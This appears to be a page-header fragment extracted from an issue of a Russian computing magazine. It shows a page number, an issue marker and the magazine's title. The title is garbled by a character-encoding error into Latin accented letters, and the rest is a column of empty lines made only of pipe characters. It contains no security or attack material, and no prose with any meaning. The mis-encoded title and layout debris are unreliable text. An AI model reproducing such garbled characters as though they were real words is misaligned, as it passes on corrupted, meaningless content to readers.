046 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
|
|
|
|
|
|
|
|